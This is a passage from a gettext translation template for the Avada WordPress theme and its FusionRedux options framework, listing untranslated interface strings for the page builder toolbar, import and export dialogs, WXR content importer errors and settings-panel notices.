msgstr "" #: includes/lib/inc/fusion-app/helpers.php:535 msgid "Delete All" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:536 #: includes/lib/inc/fusion-app/templates/options/import.php:94 #: includes/lib/inc/redux/extensions/repeater/repeater/field_repeater.php:187 #: includes/lib/inc/redux/extensions/repeater/repeater/field_repeater.php:230 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:188 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:241 #: includes/metaboxes/tabs/tab_avada_page_options.php:62 msgid "Delete" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:537 msgid "Preview Mode" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:538 msgid "" "Please beware that editing options are limited on this mode. All open " "dialogs and panels will be closed." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:539 msgid "Multiple Dialogs" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:540 msgid "Please close other open dialogs first to use this option." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:541 msgid "Widget" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:542 msgid "No widget selected. Edit to select widget type." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:545 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:244 #. translators: Add unknown element type. msgid "Add %s" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:546 #: includes/metaboxes/options/options_slide.php:297 msgid "Link Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:547 msgid "Open Link in New Tab" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:548 msgid "Clear" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:549 msgid "Remove formatting" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:550 msgid "Please add a gallery image here." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:551 msgid "Please select a slider for it to display here." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:552 msgid "Please select a form for it to display here." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:553 msgid "Please add a video here." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:554 msgid "Search Results" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:555 msgid "Page Save Incomplete" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:556 msgid "" "Not all content has saved correctly. Click ok to return to the page editor " "and try again." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:557 msgid "Page Save Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:558 msgid "" "Security nonce check failed. Attempts to reconnect were also unsuccessful. " " Please ensure WordPress Heartbeat is not disabled." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:559 msgid "Layout cleared." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:561 msgid "Enter value" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:562 msgid "Import Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:563 msgid "" "Please check that the file selected is valid JSON. Click ok to return to " "the page editor and try again." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:564 msgid "Saved" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:565 msgid "As global" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:566 msgid "" "This action will redirect you to the front-end builder. All unsaved changes " "will be lost. Are you sure?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:567 msgid "" "Duplicate Slider Revolution detected. Duplicate sliders will not be " "rendered whilst in the live editor." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:570 msgid "Other" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:571 msgid "Dynamic Data" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:572 msgid "Select Dynamic Data" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:573 msgid "Custom Font(s)" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:574 #: includes/metaboxes/metaboxes.php:1744 includes/metaboxes/metaboxes.php:2120 msgid "Add New" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:575 #: includes/lib/inc/redux/extensions/repeater/repeater/field_repeater.php:252 msgid "Add" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:576 msgid "Separate with Commas" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:579 includes/options/blog.php:804 msgid "Post Title" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:583 msgid "Related products" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:584 msgid "You may also like…" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:585 msgid "You may be interested in…" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:586 #: includes/options/portfolio.php:649 msgid "Project Details" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:588 msgid "Edit Layout Section" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:589 msgid "Edit Content Layout Section" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:590 msgid "Edit Footer Layout Section" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:591 msgid "Edit Header Layout Section" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:592 msgid "Set dynamic data to update preview source." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:593 msgid "Avada Builder Library" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:597 #: includes/options/background.php:27 includes/options/menu.php:187 msgid "Background" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:599 msgid "Only numbers and phone characters are accepted" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:601 msgid "Importing Studio Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:602 msgid "Importing Studio Content Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:603 msgid "Importing Studio Media:" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:604 msgid "Failed to retrieve data from API" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:605 msgid "Importing Prebuilt Page Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:606 msgid "Importing Prebuilt Page Content Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:607 msgid "Importing Prebuilt Page Media:" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:608 msgid "Plugin Installation Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:609 msgid "Importing Prebuilt Website Failed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:611 msgid "Something Went Wrong" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:612 msgid "" "An error occured and the process could not be completed. Please check your " "error log for details." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:615 msgid "Loading the next set of gallery items..." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:616 msgid "Dummy Title Placeholder" msgstr "" #: includes/lib/inc/fusion-app/templates/bulk-add.php:19 msgid "Examples:" msgstr "" #: includes/lib/inc/fusion-app/templates/front-customize.php:69 msgid "Site Preview" msgstr "" #: includes/lib/inc/fusion-app/templates/front-customize.php:71 msgid "Invalid Page ID" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:23 msgid "Toggle Sidebar" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:29 msgid "Exit" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:35 msgid "Exit to page front-end" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:38 msgid "Exit to page back-end" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:42 msgid "Exit to dashboard" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:58 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:60 msgid "Publish" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:66 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:68 msgid "Draft" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:94 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:95 msgid "Toggle Toolbar" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:118 msgid "Help Center" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:124 msgid "Shortcuts" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:130 #: includes/options/responsive.php:30 msgid "Responsive" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:137 msgid "Preview Mobile - Portrait Mode" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:140 msgid "Preview Tablet - Portrait Mode" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:143 msgid "Preview Desktop" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:159 msgid "Select Language" msgstr "" #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:171 msgid "Switch Language" msgstr "" #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:18 msgid "Resize Window" msgstr "" #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:20 msgid "Contract Popup" msgstr "" #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:23 msgid "Expand Popup" msgstr "" #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:40 msgid "Help Article" msgstr "" #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:49 msgid "Remove Item" msgstr "" #: includes/lib/inc/fusion-app/templates/options/ajax-select.php:65 msgid "No search results" msgstr "" #: includes/lib/inc/fusion-app/templates/options/auth-map.php:15 #: includes/metaboxes/metaboxes.php:1816 msgid "No form fields found." msgstr "" #: includes/lib/inc/fusion-app/templates/options/color-palette.php:39 #: includes/lib/inc/redux/custom-fields/color_palette/field_color_palette.php:120 msgid "Color Name" msgstr "" #: includes/lib/inc/fusion-app/templates/options/color-palette.php:42 #: includes/lib/inc/redux/custom-fields/color_palette/field_color_palette.php:122 msgid "Color Code" msgstr "" #: includes/lib/inc/fusion-app/templates/options/color-palette.php:50 #: includes/lib/inc/redux/custom-fields/color_palette/field_color_palette.php:87 msgid "New Color" msgstr "" #: includes/lib/inc/fusion-app/templates/options/color-palette.php:71 #: includes/lib/inc/redux/custom-fields/color_palette/field_color_palette.php:68 msgid "Add New Color" msgstr "" #: includes/lib/inc/fusion-app/templates/options/connected-sortable.php:17 msgid "Drag Meta items here to remove them from the page." msgstr "" #: includes/lib/inc/fusion-app/templates/options/connected-sortable.php:27 msgid "Enabled" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:18 #: includes/lib/inc/fusion-app/templates/options/import.php:18 msgid "Code" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:19 #: includes/lib/inc/fusion-app/templates/options/import.php:19 #: includes/options/performance.php:468 msgid "File" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:22 #: includes/lib/inc/fusion-app/templates/options/import.php:25 #: includes/options/performance.php:469 msgid "Database" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:30 msgid "Copy to Clipboard" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:34 msgid "" "Click the export button to export your current set of options as a json " "file." msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:35 msgid "Export" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:40 #: includes/metaboxes/tabs/tab_avada_page_options.php:34 msgid "Enter a name" msgstr "" #: includes/lib/inc/fusion-app/templates/options/export.php:42 #: includes/metaboxes/tabs/tab_avada_page_options.php:30 #: includes/metaboxes/tabs/tab_avada_page_options.php:36 msgid "Save Page Options" msgstr "" #: includes/lib/inc/fusion-app/templates/options/form-options.php:36 #: includes/lib/inc/fusion-app/templates/options/form-options.php:78 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:73 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:234 #: includes/lib/inc/fusion-app/templates/options/sortable-text.php:25 #: includes/lib/inc/fusion-app/templates/options/sortable-text.php:38 msgid "Move Row" msgstr "" #: includes/lib/inc/fusion-app/templates/options/form-options.php:47 #: includes/lib/inc/fusion-app/templates/options/form-options.php:89 msgid "Check Row" msgstr "" #: includes/lib/inc/fusion-app/templates/options/form-options.php:52 #: includes/lib/inc/fusion-app/templates/options/form-options.php:94 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:79 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:240 #: includes/lib/inc/fusion-app/templates/options/sortable-text.php:29 #: includes/lib/inc/fusion-app/templates/options/sortable-text.php:42 msgid "Remove Row" msgstr "" #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:223 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:325 #: includes/metaboxes/metaboxes.php:2157 msgid "AND" msgstr "" #: includes/lib/inc/fusion-app/templates/options/hubspot-consent-map.php:15 msgid "No form fields or HubSpot communication preferences found." msgstr "" #: includes/lib/inc/fusion-app/templates/options/hubspot-map.php:15 #: includes/metaboxes/metaboxes.php:1858 msgid "No form fields or HubSpot properties found." msgstr "" #: includes/lib/inc/fusion-app/templates/options/import.php:21 msgid "Prebuilt Site" msgstr "" #: includes/lib/inc/fusion-app/templates/options/import.php:40 msgid "Select a Prebuilt Site" msgstr "" #: includes/lib/inc/fusion-app/templates/options/import.php:46 msgid "Search Prebuilt Sites" msgstr "" #: includes/lib/inc/fusion-app/templates/options/import.php:64 #: includes/lib/inc/fusion-app/templates/options/import.php:70 #: includes/metaboxes/tabs/tab_avada_page_options.php:49 msgid "Select A Page Option Set" msgstr "" #: includes/lib/inc/fusion-app/templates/options/import.php:85 msgid "" "Click the import button to select a previously exported JSON file to upload " "and import." msgstr "" #: includes/lib/inc/fusion-app/templates/options/layout-conditions.php:19 #: includes/metaboxes/metaboxes.php:839 msgid "Display on Entire Site" msgstr "" #: includes/lib/inc/fusion-app/templates/options/layout-conditions.php:27 #: includes/metaboxes/metaboxes.php:853 msgid "Manage Conditions" msgstr "" #: includes/lib/inc/fusion-app/templates/options/mailchimp-map.php:15 #: includes/metaboxes/metaboxes.php:1942 msgid "No form fields or Mailchimp merge tags found." msgstr "" #: includes/lib/inc/fusion-app/templates/options/repeater.php:13 msgid "Add Another Item" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography-sets.php:20 #: includes/lib/inc/redux/custom-fields/typography_sets/field_typography_sets.php:77 msgid "Add New Typography Set" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:109 #: includes/lib/inc/fusion-app/templates/typography-set.php:71 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:166 #: includes/metaboxes/metaboxes.php:1069 msgid "Backup Font" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:118 #: includes/lib/inc/fusion-app/templates/typography-set.php:80 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:176 #: includes/metaboxes/metaboxes.php:1078 msgid "Select Backup Font Family" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:174 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:236 msgid "Margin Top" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:175 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:237 msgid "Margin Bottom" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:240 #: includes/lib/inc/fusion-app/templates/typography-set.php:154 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:267 #: includes/metaboxes/metaboxes.php:1173 msgid "Text Transform" msgstr "" #: includes/lib/inc/fusion-app/templates/options/typography.php:268 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:332 msgid "Font Color" msgstr "" #: includes/lib/inc/fusion-app/templates/typography-set.php:29 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:103 msgid "Typography Set Name" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:298 #: includes/lib/inc/importer/class-wxr-importer.php:1811 msgid "Remote server returned %1$d %2$s for %3$s" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:315 #: includes/lib/inc/importer/class-wxr-importer.php:1824 msgid "Remote file is incorrect size" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:320 #: includes/lib/inc/importer/class-wxr-importer.php:1829 msgid "Zero size file downloaded" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:326 #: includes/lib/inc/importer/class-wxr-importer.php:1835 msgid "Remote file is too large, limit is %s" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:516 #: includes/lib/inc/importer/class-wxr-importer.php:1729 msgid "Failed to import %s %s" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:540 #: includes/lib/inc/importer/class-wxr-importer.php:919 #: includes/lib/inc/importer/class-wxr-importer.php:1753 msgid "Imported \"%s\" (%s)" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:545 #: includes/lib/inc/importer/class-wxr-importer.php:1758 msgid "Term %d remapped to %d" msgstr "" #: includes/lib/inc/importer/class-fusion-wxr-importer.php:639 #: includes/lib/inc/importer/class-wxr-importer.php:174 #: includes/lib/inc/importer/class-wxr-importer.php:290 #: includes/lib/inc/importer/class-wxr-importer.php:363 msgid "" "This WXR file (version %s) is newer than the importer (version %s) and may " "not be supported. Please consider updating." msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:138 msgid "Could not open the file for parsing" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:513 msgid "%s, please try again." msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:573 msgid "Invalid author mapping" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:762 msgid "Failed to import \"%s\": Invalid post type %s" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:772 msgid "%s \"%s\" already exists." msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:866 msgid "Skipping attachment \"%s\", fetching attachments disabled" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:887 msgid "Failed to import \"%s\" (%s)" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:924 msgid "Post %d remapped to %d" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1068 msgid "Invalid file type" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1559 msgid "Failed to import user \"%s\"" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1580 msgid "Imported user \"%s\"" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1584 msgid "User %d remapped to %d" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1857 msgid "Running post-processing for post %d" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1870 msgid "Could not find the post parent for \"%s\" (post #%d)" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1875 msgid "Post %d was imported with parent %d, but could not be found" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1889 msgid "Could not find the author for \"%s\" (post #%d)" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1894 msgid "Post %d was imported with author \"%s\", but could not be found" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1920 msgid "Post %d was marked for post-processing, but none was required." msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1931 msgid "Could not update \"%s\" (post #%d) with mapped data" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1976 msgid "Could not find the menu object for \"%s\" (post #%d)" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:1981 msgid "" "Post %d was imported with object \"%d\" of type \"%s\", but could not be " "found" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:2003 msgid "Could not find the comment parent for comment #%d" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:2007 msgid "Comment %d was imported with parent %d, but could not be found" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:2021 msgid "Could not find the author for comment #%d" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:2025 msgid "Comment %d was imported with author %d, but could not be found" msgstr "" #: includes/lib/inc/importer/class-wxr-importer.php:2042 msgid "Could not update comment #%d with mapped data" msgstr "" #: includes/lib/inc/redux/custom-fields/color_alpha/field_color_alpha.php:69 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:128 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color/field_color.php:77 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.php:83 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.php:95 msgid "Transparent" msgstr "" #: includes/lib/inc/redux/custom-fields/iconpicker/field_iconpicker.php:50 #: includes/options/social_media.php:124 msgid "Click an icon to select, click again to deselect." msgstr "" #: includes/lib/inc/redux/custom-fields/spacing/field_border_radius.php:108 msgid "Top Left" msgstr "" #: includes/lib/inc/redux/custom-fields/spacing/field_border_radius.php:115 msgid "Top Right" msgstr "" #: includes/lib/inc/redux/custom-fields/spacing/field_border_radius.php:122 #: includes/options/forms.php:407 msgid "Bottom Right" msgstr "" #: includes/lib/inc/redux/custom-fields/spacing/field_border_radius.php:129 #: includes/options/forms.php:406 msgid "Bottom Left" msgstr "" #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:105 msgid "Set Name" msgstr "" #: includes/lib/inc/redux/extensions/search/extension_search.php:101 msgid "Search for option(s)" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:462 msgid "You have changes that are not saved. Would you like to save them now?" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:470 msgid "Are you sure? Resetting will lose all custom values." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:478 msgid "Are you sure? Resetting will lose all custom values in this section." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:486 msgid "" "Your current options will be replaced with the values of this preset. Would " "you like to proceed?" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:493 msgid "Please Wait" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:504 msgid "There was an error saving. Here is the result of your action:" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php:505 msgid "There was a problem with your action. Please try again or reload the page." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:65 msgid "Warning- This options panel will not work properly without javascript!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:142 msgid "Settings Imported!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:157 msgid "All Defaults Restored!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:171 msgid "Section Defaults Restored!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:186 msgid "Settings Saved!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:207 msgid "Settings have changed, you should save them!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:215 msgid "error(s) were found!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:223 msgid "warning(s) were found!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php:315 msgid "" "Your panel has bundled outdated copies of FusionRedux Framework " "template files – if you encounter functionality issues this " "could be the reason. Ensure you update or remove them." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:227 msgid "Options panel created using %1$s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:227 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:167 msgid "FusionRedux Framework" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1549 #: includes/options/performance.php:212 includes/options/performance.php:225 #: includes/options/performance.php:299 includes/options/performance.php:327 msgid "Enable" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1554 #: includes/options/events_calendar.php:60 includes/options/performance.php:213 #: includes/options/performance.php:226 includes/options/performance.php:300 #: includes/options/performance.php:328 msgid "Disable" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1560 msgid "moving the mouse over" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1562 msgid "clicking" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1566 msgid "" "Hints are tooltips that popup when %d the hint icon, offering addition " "information about the field in which they appear. They can be %d d by " "using the link below." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:1571 msgid "Hints" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:2505 msgid "Invalid security credential. Please reload the page and try again." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:2514 msgid "Invalid user capability. Please reload the page and try again." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:2587 msgid "Your panel has no fields. Nothing to save." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:3611 msgid "" "FusionRedux Framework Notice: There are references to the " "FusionRedux Framework support site in your config's " "admin_bar_links argument. This is sample data. Please change " "or remove this data before shipping your product." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:3626 msgid "" "FusionRedux Framework Notice: There are references to the " "FusionRedux Framework support site in your config's " "share_icons argument. This is sample data. Please change or " "remove this data before shipping your product." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_admin_notices.php:97 msgid "Dismiss" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php:77 msgid "" "Please wait a few minutes, then try refreshing the page. Unable to load " "some remotely hosted scripts." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php:79 msgid "" "If you are developing offline, please download and install the FusionRedux Vendor Support " "plugin/extension to bypass the our CDN and avoid this warning" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php:84 msgid "FusionRedux Framework Warning" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php:84 msgid "%s CDN unavailable. Some controls may not render properly." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php:116 msgid "" "The Vendor Support plugin (or extension) is either not " "installed or not activated and thus, some controls may not render properly. " " Please ensure that it is installed and activated" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:37 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:66 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:257 msgid "File Permission Issues" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:37 msgid "" "We were unable to modify required files. Please check your permissions, or " "modify your wp-config.php file to contain your FTP login credentials as outlined here." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:66 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_filesystem.php:257 msgid "" "We were unable to modify required files. Please ensure that " "%1s has the proper read-write permissions, or modify your " "wp-config.php file to contain your FTP login credentials as outlined here." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_helpers.php:586 msgid "" "%s version %s is out of " "date. The core version is %s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:133 msgid "Import Options" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:136 msgid "" "Important: Only Global Options settings from Avada 4.0 or higher can be " "imported." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:145 msgid "Import Contents from File" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:149 msgid "Import from URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:155 msgid "" "Input your backup file below and hit Import to restore your sites options " "from a backup." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:162 msgid "" "Input the URL to another sites options set and hit Import to load the " "options from that site." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:167 msgid "" "WARNING! This will overwrite all existing option values, please proceed " "with caution!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:171 msgid "Export Options" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:175 msgid "" "Here you can copy/download your current Global Options settings. Keep this " "safe as you can use it as a backup should anything go wrong, or you can use " "it to restore your settings on this site (or any other site)." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:184 msgid "Copy Data" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:185 msgid "Download Data File" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php:186 msgid "Copy Export URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/options_object/extension_options_object.php:83 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.php:111 msgid "Options Object" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.php:114 msgid "Show Object in Javascript Console Object" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:145 #: includes/metaboxes/tabs/tab_content.php:213 #: 